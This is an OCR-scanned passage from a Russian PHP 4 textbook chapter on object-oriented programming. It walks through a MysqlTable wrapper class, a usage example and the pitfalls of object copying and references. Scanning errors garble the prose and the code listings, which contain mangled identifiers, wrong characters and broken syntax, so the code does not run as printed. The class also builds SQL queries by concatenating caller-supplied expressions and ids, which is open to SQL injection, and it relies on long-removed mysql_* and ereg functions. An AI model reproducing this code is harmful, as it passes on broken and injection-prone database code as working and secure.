квадрат, круг, треугольник и т. д. Базовый класс имеет виртуальную функцию
Draw о, которая заставляет объект нарисовать самого себя. Все производные
классы-фигуры, разумеется, переопределяют эту функцию (ведь каждую фи-

----------------------- Page 480-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 465

гуру нужно рисовать по-особому). Также у нас есть массив фигур, причем мы
не знаем, каких именно. Зато, используя полиморфизм, мы можем, не заду-
мываясь, перебрать все элементы массива и вызвать для каждого из них метод
Draw ( ) — фигура сама "решит", какого она типа и как ее рисовать.

В нашем классе MysqiTabie , который мы еще только-только наметили, идея
полиморфизма найдет свое применение. И вот зачем. Мы проектируем
класс так, чтобы другие классы, которые он будет использовать, подключали
его к себе как производный. Тем самым они наследуют все свойства
MysqiTabie и добавляют некоторые свои. Например, класс Guestbook , реа-
лизующий ГОСТевуЮ КНИГУ , МОЖеТ бЫТЬ ПРОИЗВОДНЫМ ОТ MysqiTabi e И
"расширять" его некоторыми дополнительными функциями -- например,
проверкой орфографии во введенном сообщении или же контролем, имеет
ли право тот или иной пользователь писать в книгу (или он "отключен" за
использование ненормативной лексики). Кроме того, прежде чем помещать
данные в MySQL-таблицу, наверное, разумным будет их немного
"почистить" -- убрать лишние пробелы, HTML-тэги и т. д. Конечно, такой
корректировке должны быть подвержены все поля книги . Поэтому класс
MysqiTabie перед помещением очередной записи в таблицу будет вызывать
виртуальную функцию p r e M o d i f y O , передавая ей в параметрах запись , ко-
торая должна быть откорректирована. Естественно, в классе Guestbook эта
функция должна переопределяться — так, чтобы выполнять требуемые дей-
ствия по коррекции записи перед ее занесением в таблицу. Конечно, класс
MysqiTabie не "знает", как именно будет переопределена PreModify O в
производном от него классе, поэтому сам он содержит функцию
PreModif у ( ) , не делающую ничего (то есть с пустым телом).

Примечание

Думаю, если вы слышите об ООП впервые, это объяснение будет для вас как
китайская грамота. В то же время знатоки сочтут его слишком простым, чтобы
быть достойным этой книги. К сожалению, так получается всегда, когда пыта-
ешься сжатым языком рассказать о чем-то нетривиальном. А я тем временем
еще раз настоятельно рекомендую вам прочитать учебник по ООП, коим ни в
коей мере не является эта книга.

Полноценный класс таблицы MySQL

Я ранее обещал, что в каждой главе части V книги обязательно будет при-
сутствовать пример нетривиального кода на РНР, который (или идеи из ко-
торого) вы сможете использовать в своих программах. На этот раз
"исходник" оказался особенно большим, но это с лихвой оправдывается его
функциональностью. Сейчас мы с вами разработаем полноценный класс,
который существенно облегчает работу с таблицей MySQL, в значительной
степени абстрагируя программиста не только от специфики этой СУБД, но
и вообще от сложностей SQL-запросов. С помощью этого класса даже на-
чинающий программист сможет построить форум, гостевую книгу , да и во-

----------------------- Page 481-----------------------
466 Часть V. Приемы программирования на РНР

обще любую программу, которая требует структурированного хранилища
данных большого объема. Правда, для того, чтобы извлекать максимальную
выгоду из использования класса, придется разобраться в механизме насле-
дования , вкратце описанном чуть выше. Впрочем, класс прекрасно работает
и сам по себе. Вот его некоторые отличительные черты.
П Кодирование и декодирование данных производится автоматически. Про-
граммисту не нужно заботиться о том, чтобы ставить слэши перед апостро-
фами и другими специальными символами. Все, что от него требуется, — пе-
редать той или иной функции массив, представляющий собой запись.
П Таблица является с точки зрения программиста набором записей совер-
шенно произвольной структуры (с произвольным числом полей). При соз-
дании таблицы указываются лишь ее несущие поля, по которым можно в
будущем вести поиск, сортировку и т. д. Все остальные поля перед по-
мещением записи в таблицу подвергаются сериализации, а при чтении из
таблицы — восстановлению, "прозрачно" для вызывающей программы.
П В то же время имеется возможность добавления/удаления несущих столбцов
"на лету", т. е. без какого бы то ни было специального запроса пользователя.
Достаточно изменить список несущих полей при создании/открытии табли-
цы. Класс сам определяет, что именно изменилось, и применяет соответст-
вующие действия по корректировке (вызывает нужные команды SQL).

П Поддерживается одно автоинкрементное поле с именем id, которое ав-
томатически проставляется у записи при ее добавлении в таблицу. Ука-
зывать его в списке несущих полей не надо.
П Имеется набор стандартных операций , которые можно производить с
таблицей: ее создание и удаление, вставка новой записи, обновление за-
писи, удаление записей, выборка указанного числа записей с сортиров-
кой. Кроме того, поддерживаются дополнительные операции, такие как
подсчет числа записей, удовлетворяющих запросу, и получение всех уни-
кальных значений в указанном столбце таблицы.
П Для каждой таблицы можно хранить один дополнительный блок инфор-
мации любой структуры (например, это может быть даже многомерный
ассоциативный массив). Выборка и запись этого блока осуществляются
методами Getinfo O и setinfot) . Блок информации нельзя получить ни-
как иначе, кроме как посредством этих двух функций (он "не виден" да-
же для функции выборки).

П Для убыстрения работы программист может назначить для тех или иных
столбцов таблицы режим индексирования (при использовании индекса
MySQL тратит значительно меньше времени на поиск данных). Индексы,
как и несущие поля, вставляются и удаляются автоматически при изме-
нении параметров вызова конструктора. Помните, что хотя они и убыст-
ряют работу, но зато занимают на диске довольно много места.

У этого класса есть один небольшой недостаток, который заставляет применять
его аккуратно. Так как количества и размеры полей при вставке могут быть лю-

----------------------- Page 482-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 467

быми, то злоумышленник может быстро "забить" таблицу разного рода
"мусором". Например, если таблица используется как хранилище для гостевой
книги, то он может видоизменить форму отправки сообщения и вставить туда
какое-нибудь текстовое поле, предварительно поместив в него пару мегабайтов
текста. Чтобы избежать этой потенциальной "дыры" в защите, рекомендуется
перед вставкой записи в таблицу проверять, какой объем она занимает в сериа-
лизованном виде, и в случае превышения определенного числа байтов выводить
предупреждение и завершать сценарий по die ( ) . Думаю, читатель сам без труда
добавит такую возможность в свои сценарии или же прямо в класс MysqiTabie .

Согласитесь, не так уж и мало для каких-то четырехсот строчек кода... Лис-
тинг 31.2 представляет собой исходный текст библиотеки, реализующей наш
класс. Она предполагает, что соединение с MySQL уже открыто и выбрана
верная текущая база данных.

! Листинг 31.2. Полноценный класс MySQL-таблицы

// MysqiTabie - "прозрачная работа " с таблицей MySQL .
// Класс MysqiTabie обычно делают базовым для какого-нибудь
// другого класса (например , CGuestBook ) , и переопределяют
/ / нужные функции .

// Поле для хранения сериализованных полей ("снаружи не видно")
define ("DataField" , " data ") ;

//******************* Вспомогательные функции *****^
// Если переменная пуста , инициализирует ее
function Def0(S$st,$def ) { if(!isSet($st)[I$st=="" ) $st=$def; }
// Подготавливает строку двоичных данных для помещения в таблицу .
function Apostrophe(&$st )
{ $st=str_replace(chr(0),"\\0",$st ) ;
$st=ereg_replace("\\\\","\\\\",$st);
$st=ereg_replace('"","\\'",$st);
return $st;
}
// Упаковывает объект и превращает его в строку .
function SqlPack(&$obj ) { $s=Serialize($obj) ; return Apostrophs(Ss) ; }
// Распаковывает строку и создает объект ,
function SqlUnpack(&$st ) { return Unserialize($st) ; }

!63ак. 699

----------------------- Page 483-----------------------
468 _ Часть V. Приемы программирования на РНР

/I*** Далее идет описание класса таблицы .

// Каждая запись таблицы , помимо тех полей , которые указаны в
// конструкторе , будут иметь еще два поля - id (уникальный
// идентификатор записи) и _ data _ (упакованный массив
// всех остальных полей ) . Кроме того , в запись можно вводить

// вообще произвольные поля - они тоже будут сохраняться , но по

// ним нельзя будет вести поиск (предложение "select") ,

// потому что эти поля будут автоматически сериализованы при

// добавлении/изменении записи и распакованы при извлечении .
class MysqlTable {
/ /*** Внутренние переменные
var $TableName ; // имя таблицы

var $UniqVars ; // список уникальных полей (имя=1, имя=1 . . . )

var $Index ; // для этих полей построены индексы (имя=1, имя=1 . . . )

var $Fields; // всех физические поля таблицы (имя=тип , имя=тип . . .)

var $Error ; // текст последней ошибки {"", если нет )

var $JustCreated ; // 1 , если таблица была создана , а не загружена

//*** Внутренние функции

// Упаковывает поля массива в строку , за исключением тех , которые
// сами являются непосредственными полями в базе данных .
function _PackFields(&$Hash) .

{ $Data=array ( ) ;

foreach($Hash as $k=>$v) if ($k!=DataField)

if (lisSet ($this->Fields[$k] ) ) $Data[$k] =$v;

return Serialize ($Data) ;

// Виртуальная функция производного класса вызывается ПЕРЕД любым

// занесением данных в таблицу (добавлении и обновлении) . То есть ,

// она предназначена для "прозрачной " автоматической генерации некоторых

// полей записи (например , времени ее изменения ) в производном классе

// перед ее сохранением .

// Можно , к примеру , в таблице хранить какую-нибудь дату в формате

// SDN , а "далать вид" , что она хранится в обычном представлении

// "дд.мм . гггг " .

// Если эта функция возвратит 0 , то операция закончится с ошибкой .

function PreModify (&$Rec) ( return 1 ; }

----------------------- Page 484-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 469

// Виртуальныя функция вызывается ПОСЛЕ выборки записи из таблицы , а

// также в конце модификации записи . То есть , она предназначена для

// "прозрачной " модификации только что полученной из таблицы записи .

// Возвращаясь к предыдущему примеру , мы можем при извлечении записи

// из таблицы STM-поле преобразовать в "дд.мм.гггг" , и "никто ничего

//не заметит" ,

function PostSelect(&$Rec ) { return ; }

// Возвращает имя таблицы

function GetTableName( ) { return $this->TableName ; }

// Возвращает результат запроса select . В дальнейшем этот результат
// (дескриптор) будет , скорее всего , обработан при помощи GetResult() .

// $Ехрг - выражение SQL , по которому будет идти выборка

// $0rder - правила сортировки (по умолчанию - по убыванию id)
function TableSelectQuery($Expr="",$0rder="id desc")

{ $this->Error="";

if(!$Expr) $Expr="l=l";

$r=mysql_query("select * from ".$this->TableName .

" where ($Expr) and (id>l) order by $0rder");

if(!$r) { $this->Error=mysql_error() ; return ; }

return $r ;

}
function SelectQuery($Expr="",$0rder="id desc")

{ return $this->TableSelectQuery($Expr,$Order) ; }

// Возвращает результат предыдущего запроса select (точнее , очередную

// найденную запись ) в виде распакованного (!) массива . Если

// SelectQuery() нашла несколько записей , то , последовательно вызывая

// GetResultО , можно считать их все . Метод делает всю "черную" работу

// по сериализации . Еще раз : если у результата несколько строк , то

// возвращает очередную . Если строки кончились , возвращает "".

// Чаще всего в вызове этой функции (и функции SelectQuery) нет

// необходимости - можно воспользоваться методом Select() , который по

// запросу сразу возвращает массив со всеми обработанными результатами !

function TableGetResult($r)

{ $this->Error="";

// Выбираем очередную строку в виде массива

if($r ) $Result=mysql_fetch_array($г) ;

else $this->Error=4tiysql_error ( ) ;

----------------------- Page 485-----------------------
470 Часть V. Приемы программирования на РНР

if(!@is_array($Result)} return ;
// Перебираем все поля таблицы и записываем их в массив $Hash

$Hash=array();

foreach($this->Fields as $k=>$i)
if(isSet($Result[$k]) ) $Hash[$k]=$Result[$k] ;

// Распаковываем поле с данными
$Hash+=SqlUnpack($Hash[DataField]); unSet($Hash[DataField]) ;

$this->PostSelect($Hash);

// Все сделано

return $Hash ;

}
function GetResult($r ) { return $this->TableGetResult($r) ; }

// Примечание : мы используем две функции , из которых GetResultО
// просто является синонимом для TableGetResult() , чтобы позволить

// производному классу вызывать функции MysqlTable , даже если они

// переопределены в нем . К сожалению , в РНР это единственный метод

// добиться цели .

// Аналог mysql__rium__rows ()

function GetNumRows($r ) { return mysql_num_rows($r) ; }

// Аналог mysql_data_seek() . После вызова этой функции указатель

// дескриптор $г "перескочит " на найденную запись номер $to , после

// чего GetResult( ) ее и возвратит ,

function DataSeek($r,$to ) { return mysql_data_seek($r,$to) ; }

// Создает или загружает таблицу по имени $Name . '

// $Fields - список полей базы . Именно по ним в дальнейшем можно

// будет вести поиск и строить индекс . Кроме того , в запись можно будет

// добавлять ЛЮБЫЕ другие переменные , но они будут сериализованы , а

// потом восстановлены . Формат списка : массив с ключами - именами
// переменных и значениями - их типами . Если $Fields - не массив , то

// считается , что таблица открывается такой , какой она есть . В противном

// случае производится проверка : не добавились или удалились ли какие-то

// поля или индексы и , если это так , то производится соответствующая

// модификация таблицы (кстати , это процесс довольно длительный) .

// ВНИМАНИЕ : если в таблице было какое-то поле,которое сериализуется , то

/ /в будущем при добавлении этого поля к $Fields оно НЕ будет

// автоматически переведено в ранг несцщих , то есть попросту

// пропадет (и наоборот) .

----------------------- Page 486-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 471

// РЕКОМЕНДАЦИЯ : перечисляйте в $Fields те поля , для которых вы ТОЧНО

// уверены , что они будут всегда присутствовать в базе , а также те ,

// по которым нужно будет вести поиск/строить индекс/использовать

// distinct .

// $ Index - по каким полям нужно строить индекс . Индекс несколько

// увеличивает размер базы , но зато увеличивает скорость поиска по ней

// (точнее , по тем полям , для которых используется индекс) . Ключи - имена

// столбцов , значения - "размер" индекса (0, если по умолчанию , что чаще

// всего наиболее разумно )

function MysqlTable($Name,$Fields="",$Index="")

{ $this->TableName=$Name ; $this->Error="" ;

if(is_array($Fields)) {

foreach($Fields as $k=>$v)

if(leregi("not null",$v)) $Fields[$k]=$v." not null";

$Fields=array("id"=>"int auto_increment primary key" )

+$Fields+array(DataField=>"mediumblob");

}
Def0($Index,array());
// Считываем из таблицы поле с ее параметрами

$this->Fields=array(DataField=>"mediumblob");

$Data=$this->TableGetResult (

mysql_query("select ".DataField. " from $Name where id=l")

);
// Если таблица существует , то запрос окончится успешно .

// В этом случае нужно проверить , не изменилась ли таблица с момента

// последнего обращения , и если это так , то подкорректировать ее .

if(@is_array($Data) ) {

if(!is_array($Fields)) {

$this->Error="Couldn't create table : no fields specified";

return;

}
DefO($Data["Fields"],array());

DefO($Data["Index"],array());

//** Возможно , что-то изменилось . Тогда выполняем alter table .

//1. Добавились поля?

$Lst=array();

foreach($Fields as $k=>$v ) {
i f ( l i s S e t ( $ D a t a [ " F i e l d s " ] [ $ k ] ) ) $Lst[]="add $k $v";
else if($Data["Fields"][$k]!=$v ) $Lst[]="change $k $k $v";

----------------------- Page 487-----------------------
472 Часть V. Приемы программирования на РНР

1/2. Удалились поля?

foreach($Data["Fields"] as $k=>$v)

if(!isSet($Fields[$k])) $Lst[]="drop $k";

//3. Добавились индексы?

foreach($Index as $k=>Sv) if(!isSet($Data["Index"] [$k]})

$Lst[]="add index index_$k ($k".($v!=0?" ($v)":"").")";

//4. Удалились индексы?

foreach($Data["Index"] as $k=>$v)

if(lisSet($Index[$k])} $Lst[]="drop index index_$k" ;

if(count ($Lst)) {

PrintDump($Lst);

if(!mysql_query("alter table $Name ".implode($Lst,","))) {

$this->Error=mysql_error();

return;

}
$Changed=l;

}

$this->JustCreated=0;

} else {

// Необходимо создать таблицу .

// BugFix by DM : При создании новой таблицы необходимо очистить

// переменную Error , иначе в ней остается ошибка от попытки

// чтения полей .

$this->Error="";

$Lst=array();

foreach($Fields as $k=>$v) $Lst[]="$k $v";

foreach($Index as $k=>$v)

$Lst[]="index index_$k ($k".($v!=0?" ($v)":"").")";

if(!mysql_query("create table $Name (".implode($Lst,",").")")) {

$this->Error=mysql_error();

return;

}

$this->JustCreated=l;

}

// Сохраняем информацию о таблице , если она поменялась

if(!empty($Changed) I I$this->JustCreated ) {

$Data["Fields"]=$Fields;

$Data["Index"]=$Index;

DefO($Data["Info"],array()); // Информации не было - делаем пустой

$Data=SqlPack($Data);

----------------------- Page 488-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 473

if ($this->JustCreated) {

$Result=mysql_query ("insert into $Name (id, " .DataField . ")

values (1, '$Data ' ) ") ;
} else {

$Result=mysql__query ("update $Name set ".DataField .

"='$Data' where id=l");
}

if(!$Result) { $this->Error=mysql_error ( ) ; return ; }

}

$this->Fields=$Fields ;

$this->Index=$ Index ;

// Записывает в таблицу информацию , общую для всей таблицы . Эта

// информация может быть получена потом только при помощи метода

// GetlnfoO , и никак иначе . Например , если таблица используется для

// гостевой книги , мы можем сюда записывать какие-нибудь параметры этой

// книги - скажем , имя и пароль владельца . $Inf может быть чем угодно -

// даже массивом .

function TableSetInfo($Inf )

( $this->Error="";

// Читаем информационную запись

$r=mysql_query ("select ".DataField." from ".

Sthis-XTableName." where id=l");

if ( ! ($Data=$this->GetResult ($r) ) ) return ;

// Устанавливаем поле Info

$Data["Info"]=$Inf;

$Data=SqlPack($Data) ;

// Сохраняем результат

if ( !mysql_query ("update " . $this->TableName .

" set ".DataField . "='$Data ' where id=l"))

{ $this->Error=mysql_error () ; return ; }

return 1 ;

}
function Setlnfo($lnf ) { return $this->TableSet!nfo (&$Inf ) ; }

// Возвращает информацию о таблице , ранее занесенную туда при помощи

// Setlnfo . Если информация не была занесена , возвращает пустой массив .

function TableGetlnfoO

----------------------- Page 489-----------------------
474 Часть V. Приемы программирования на РНР

{ $this->Error="" ;

// Читаем информационную запись

$r=mysql query("select * from ".$this->TableName. " where id=l");

// Если что-то не в порядке , GetResult установит поле Error у объекта

if(!($Data=$this->GetResult($r))) return array() ;

if(!@is_array($Data["Info"])) $Data ["Info"]=array();

return $Data["Info"];

}
function GetlnfoO { return $this->TableGet!nfo() ; }

// Уничтожает таблицу . Осторожно ! Таблица уничтожается без всяких

// предупреждений!! !

function TableDrop( )

{ $this->Error="";

if{!mysql_query("drop table ".$this->TableName) ) {

$this->Error=mysql_error();

return 0;

}

return 1;

}

function DropO { return $this->TableDrop() ; }

// Добавляет запись $Rec (обычно это ассоциативный массив с некоторыми

// установленными полями ) в таблицу . Автоматически у нее проставляется

// id , а также проверяется , уникальны ли у записи те поля , которые должны

// быть уникальными (указываются в конструкторе) . Возвращает 1 в случае

// успеха , при этом в $Rec возвращается окончательно сформированная

// запись .

function TableAdd(&$Rec )

{ $this->Error="";

if(!$this->PreModify($Rec)) return 0 ;

// Иначе все в порядке . Добавляем запись .

$Rec[DataField]=$this->_PackFields($Rec);

// Составляем список имен полей и их значений

$LNames=$LVals=array();

foreach($this->Fields as $name=>$type ) {

$LNames[]=$name;

$LVals []="'".Apostrophs($Rec[$name] ) . '"";

----------------------- Page 490-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 475

$LNames=implode($LNames,", ") ;

$LVals=implode($LVals,", ") ;

unSet($Rec[DataField]) ;

// Добавляем

if(!mysql_query("insert into ".$this->TableName .

"($LNames) values($LVals)") }

{ $this->Error=mysql_error( ) ; return 0 ; }

$Rec [ "id" ] =mysql__insert_id () ;

$this->PostSelect($Rec) ;

return 1;

}

function Add(&$Rec ) { return $this->TableAdd(s$Rec) ; }

// Удаляет из таблицы записи , удовлетворяющие выражению $Ехрг .

// Например : $Tbl->Delete("(id=$id) or (id=0)");

function TableDelete($Expr )

{ $this->Error="" ;

if(!mysql_query("delete from ".$this->TableName .

" where ($Expr) and (id>l)"))

( $this->Error=mysql_error() ; return 0 ; }

return 1;

}

function Delete($Expr ) { return $this->TableDelete($Expr) ; }

// Возвращает массив записей (ключ - id, значение - запись) . В массив

// будет занесено не более $Num записей . Для каждой записи

// вызывается PostSelectO !

function TableSelect($Expr="",$Num=100000,$Order="id desc")

{ $this->Error="" ;

// Выполнить запрос

$r=$this->SelectQuery($Expr,$0rder); if(!$r ) return 0 ;

// Цикл по найденным записям

for($i=0,$Found=array(); $i<$Num&&($Rec=$this->GetResult($r)) ; $i

$Found[$Rec["id"]]=$Rec;

return SFound ;

}
function Select($Expr="",$Num=100000,$Order="id desc")

{ return $this->TableSelect($Expr,$Num,$0rder) ; }

----------------------- Page 491-----------------------
476 Часть V. Приемы программирования на РНР

// Обновляет запись в таблице , при этом запись $Upd изменяется и
// становится фактически такой , как она будет выглядеть после обновления .
// То есть , к ней могут добавиться новые поля из таблицы . Если записи с
// таким id (если $id не указан в параметрах , то его значение берется
// равным $Upd["id"]) нет , то генерируется ошибка !
// Возможно , в записи $Upd не задан идентификатор id (это бывает , если
// мы только что получили данные из формы) . В этом случае можно этот

// идентификатор передать через $id .

// Итак , при обновлении id HE МЕНЯЕТСЯ по определению (в отличие от

// ДОБАВЛЕНИЯ , когда id всегда проставляется) !

function TableUpdate(&$Upd,$id=0)

{ $this->Error="";

// Если задан $id, то устанавливаем в записи этот идентификатор
if($id) $Upd["id"]=$id;
// Загружаем старую запись . Она должна быть одна .

$r=$this->SelectQuery("id=".$Upd["id"]);

$Rec=$this->GetResult($r);

// Если не удалось , значит , неверное обновления - записи
// еще не существует

if(!$Rec) { $this->Error="NotExists"; return 0 ; }

// Иначе все в порядке - добавляем . Сначала обновляем
// поля и упаковываем переменные
$Rec=$Upd+$Rec; $Upd=$Rec;
if(!$this->PreModify($Rec)) return 0;

$Rec[DataField]=$this->_PackFields($Rec) ;

// Затем составляем список полей для обновления
$Lst=array();

foreach($this->Fields as $name=>$type)

$Lst[]="$name='".Apostrophs($Rec[$name])."'";

$Lst=implode($Lst,",");

// Выполняем запрос

iff!mysql_query("update ".$this->TableName .

" set $Lst where id=".$Rec["id"]))

{ $this->Error=mysql_error() ; return 0 ; }

$this->PostSelect($Rec);

return I;

}

function Update(&$Upd,$id=0) { return $this->TableUpdate(&$Upd,$id) ; }

----------------------- Page 492-----------------------
Глава 31. Объектно-ориентированное программирование на РНР _ 477

// Возвращает кол-во записей , удовлетворяющих выражению $Ехрг .

// Если ЗЕхрг не задано , возвращает число ВСЕХ записей .

function TableGetCount ( $Expr= " " )

{ $this->Error="";

if(!$Expr) $Expr="l=l";

$r=qnysql_query ("select count (if ( ($Expr) and (id>l) , 1,NULL) ) from ".
$this->TableName) ;

if(!$r) { $this->Error=mysql_error () ; return 0 ; }

$a=mysql_fetch_array ($r) ;

return $a [0] ;

}

function GetCount ($Expr="") { return $this->TableGetCount ($Expr) ; }

// Возвращает СПИСОК всех уникальных значений поля $ field

// в таблице , удовлетворяющих к тому же условию $Ехрг .

// ВНИМАНИЕ : эта функция работает лишь тогда , когда поле $ field

// присутствовало среди полей $Fields при вызове конструктора .

//В противном случае генерируется ошибка .

// Рекомендуется при создании таблицы для поля $field создать индекс .

function TableGetDistinct ($field , $Expr="")

{ $this->Error="" ;

if(!$Expr) $Expr="l=l";

$r=mysql_query ("select distinct $field from ".

$this->TableName. " where ($Expr) and (id>l)");

// distinct HE работает вместе с order by ! Почему - неясно . . .

if(!$r) { $this->Error=mysql_error () ; return 0 ; }

for ($Arr=array (} , $i=0, $n=mysql_num_rows ($r) ; $i<$n; $i++)

$Arr []=raysql_result ($r,$i,0) ;

return $Arr;

}
function GetDistinct ($field, $Expr="")

{ return $this->TableGetDistinct ($f ield , $Expr) ; }

}; // Конец класса

А вот пример применения этого класса (листинг 31.3). Делает он следующее:
открывает таблицу в некоторой базе данных (если таблицы с таким именем
не существует, создает ее) и добавляет одну пробную запись.

----------------------- Page 493-----------------------
478 Часть V. Приемы программирования на РНР

\ Листинг 31.3. Пример использования класса MysqlTabl©

<?

include "Librarian.phi" ; // подключаем библиотекарь (см. главу 29)

Uses("MysqlTable"}; // подключаем модуль с классом таблицы

// Устанавливаем соединение с базой данных

mysql_connect("localhost") ;

mysql_select_db("test") ;

// Открываем таблицу

$t=new MysqlTable("test",array("t"=>"int")) ;

// Добавляем запись

$d=array("t"=>time());

$t->Add($d);

// Работаем с блоком информации

$Inf=$t->GetInfо();

$Inf["a"]=@$lnf["a"J+l;

$Inf["b"]=@$Inf["b"]+10;

echo $Inf["a"]," ",$Inf["b"],"<br>";

$t->SetInfo($Inf);

// Выбираем все записи и выводим их

$d=St->Select О ;

foreach($d as $id=>$Data) {

echo "Sid : ".$Data['t']."<br>";

Попробуйте запустить этот сценарий (естественно, сделав так, чтобы ему
был доступен библиотекарь), а затем понажимать кнопку Обновить в брау-
зере. Вы должны увидеть, что информация действительно накапливается в
базе данных .

Копирование объектов

Так уж устроен РНР, что в нем все переменные, в том числе и объекты (а
что такое объект, как не переменная определенного класса?), всегда рас-
сматриваются как простой набор значений и копируются целиком. Напри-
мер, если у нас есть громадный массив $А и мы выполняем оператор $В=$А,
то все содержимое $д будет скопировано в $в один-в-один. Возможно, это

----------------------- Page 494-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 479

как раз то, что и требуется, но вот с объектами сложных классов все обстоит
совсем иначе . Предположим, например, что мы выполнили команды:

$0bjl=new MysqiTabie("test") ;
$0bj2=$0bjl;

$Objl->Drop() ;

Объект-таблица sobji благополучно уничтожится и пометит в своих свойствах,
что он уничтожен, и больше использоваться не должен, но вот $obj2 об этом и
не "догадается". $obj2 по-прежнему будет "считать", что он — "единственный и
неповторимый" объект, привязанный к существующей таблице test , и будет
честно пытаться выполнить с ней какие-то операции по запросам.

Этого, к сожалению , нельзя избежать в РНР . А именно , мы не можем никак
контролировать процесс копирования объектов. И в этом — безусловная
слабость РНР. Так что будьте особенно бдительны .

Ссылки и интерфейсы

Как мы знаем, в РНР оператор присваивания всегда копирует значения пе-
ременных, какой бы сложной структуры они ни были. Это же, напомню ,
происходит и с объектами. Что тогда получится , если мы скопируем , на-
пример, объект класса MysqiTabie ? Вообще говоря, ничего хорошего. Про-
изойдет дублирование всех свойств и методов объекта. Фактически , мы по-
лучим сразу две независимые "обертки" для одной и той же таблицы
MySQL. Таким образом, изменения , внесенные в первый объект, никак не
повлияют на второй, и наоборот.

Я специально проектировал класс MysqiTabi e так, что даже после копиро-
вания объектов этого типа не происходило никаких фатальных недоразуме-
ний описанного выше рода. Однако так можно сделать далеко не всегда.
Представьте, например, что нам приходится очень часто использовать
функцию G e t i n f o O и довольно редко — s e t i n f o t ) . Так как G e t i n f o O при
каждом запросе обращается к MySQL, мы можем получить здесь ощутимый
проигрыш в быстродействии. Очевидное решение заключается в промежу-
точном хранении данных, возвращаемых нашим "обычным" методом
GetinfoO в специальном свойстве объекта. Действительно, зачем загружать
сервер лишней работой по чтению одних и тех же данных, когда можно
хранить их в программе и сразу же использовать? Это свойство будет ини -
циализироваться при конструировании объекта класса MysqiTabie и обнов-
ляться каждый раз при обращении к методу Setinf о ( ) .

^ Примечание

То есть наше свойство будет представлять собой аналог "зеркала" записи в
таблице MySQL , по аналогии с "зеркалами" сайтов в Интернете. Класс

----------------------- Page 495-----------------------
480 _ Часть V. Приемы программирования на РНР

MysqlTable должен следить за тем, чтобы оно всегда содержало актуальные
данные — те же самые, что и в реальной таблице.

Но, к сожалению, описанная схема не может быть реализована в РНР на-
прямую, и именно по причине обязательного полного копирования пере-
менных. Вот пример, который породит ошибку:

$tl=new MysqlTable ("MyT able" ) ;

function Dolt($t)

{ $t->Set!nfo ("This is the new info!") ;

$t=new MysqlTable ("MyTableName") ;

$t->Set!nfo ("Data") ;

Dolt ($t) ;

$Inf=$t->GetInfo () ; // в $Inf будет строка Data !

Впрочем, в приведенном только что фрагменте это недоразумение можно
легко преодолеть, передав функции ссылку на объект:

function Dolt(&$t )

( $t->SetInfo("This is the new info!") ;

}

Я намеренно привел здесь пример, когда ограничение на копирование объ-
ектов все же можно обойти относительно безболезненно. Настало время
описать неразрешимую (во всяком случае, похожим методом) задачу. Но
прежде обратите внимание, что в нашем примере объект передается "вглубь"
кода (внутрь функции) , а не "наружу" (из функции). Вот как раз в послед-
нем случае и будет возникать неразрешимая проблема.

Но обо всем по порядку. Чтобы чуть сгустить краски и не вдаваться в абст-
рактные рассуждения, давайте предположим, что наш класс MysqlTabl e во-
обще не допускает копирования его объектов, а при случайном выполнении
такого копирования работает совершенно неправильно. Нужно заметить,
что это не так уж и далеко от истины, особенно если мы используем
MysqlTable не напрямую, а как базовый для какого-то другого типа
(например, для класса форума).

Мы знаем, что в таком случае объекты этого класса можно передать без по-
бочных эффектов внутрь функций по ссылке. Сейчас мы остановимся на
обратном процессе. Итак, пусть мы написали более-менее универсальный
модуль, в котором есть единственная интерфейсная функция орептаЫео ,
создающая новую таблицу в базе данных и, соответственно, новый объект
класса MysqlTable . Специфика этой функции в том, что в случае, если таб-

----------------------- Page 496-----------------------
Глава 31. Объектно-ориентированное программирование на РНР 481

лица существует, новый объект не создается, а возвращается уже имеющий-
ся. Иными словами, для двух вызовов функции с одинаковыми параметрами
должен быть возвращен один и mom же объект, а не две его копии .

^~~ Примечание

Возможно, вы спросите: зачем нам вообще такая функция, когда можно вос-
пользоваться оператором new напрямую? Тогда еще раз перечитайте предпо-
следнюю фразу предыдущего абзаца: "В случае, если таблица уже существует,
новый объект не создается". В то же время оператор new всегда создает новый
объект, что нам, конечно, не подходит. Ведь мы договорились никогда не иметь
в программе двух разных объектов, связанных с одной и той же таблицей.

Легко сказать - "возвращает уже существующий объект", но несколько
сложнее — реализовать это. Рассмотрим два различных способа, с помощью
которых мы можем достичь цели.

Замечание

Как следует из законов Мэрфи, "у любой сложной задачи всегда имеется одно
простое, красивое и легкое для понимания... неправильное решение". В нашем
случае это будет возврат из функции объекта класса MysqlTable "обычным"
способом, подразумевающим копирование. Но ведь, по имеющейся между на-
ми договоренности, объекты этого класса нельзя копировать!

Возврат ссылки на объект

Первый прием связан с новой возможностью РНР версии 4 — ссылочными
переменными. Помните, в части III этой книги мы говорили, что функция
может возвращать ссылку на переменную (объект), а не только копию пере-
менной?.. В нашем случае это оказывается довольно удобно. Вот как могла
бы выглядеть функция ОрептаЫе ( ) и использование для нее ссылок
(листинг 31.4):

I Листинг 31.4. Использование ссылок

// Массив всех уже открытых таблиц. Ключи — имена таблиц, значения —
// соответствующие объекты.
$Tables=array();

// Функция ОрепТаЫе() возвращает ссылку на объект, соответствующий
// таблице MySQL с заданным именем. Копии объектов не создаются,
function SOpenTable($name,$Fields="")
( global $Tables;
if(llsset($Tables[$name]))

----------------------- Page 497-----------------------
482 Часть V. Приемы программирования на РНР

$Tables[$name]=new MysqlTable($name,$Fields) ;

return $Tables[Sname] ;

// Вот так мы должны использовать эту функцию .
$ТЫ 1 = &ОрепТаЫе ("МуТаЫе") ; // создает новый объект
$ТЫ2=&ОрепТаЫе ("OtherTable") ; // создает объект
$TblEqualsTol=&OpenTable("МуТаЫе"); // возвращает имеющийся объект !

// Теперь $ТЫ1 и STblEqualsTol ссьшаются на один и тот же объект .

// То есть изменение $ТЫ1 тут же отразится на $TblEqualsTol ,
// и наоборот .

Опытный профаммист сразу же заметит в подходе предыдущего примера
два значительных недостатка. Оба они связаны с несовершенством меха-
низма управления ссылками в РНР.
П Если пропустить перед вызовом функции оператор & (взятие ссылки), то
функция вернет не ссылку на объект, а копию этого объекта. При этом
программа не выдаст никакого предупреждения и, скорее всего, будет
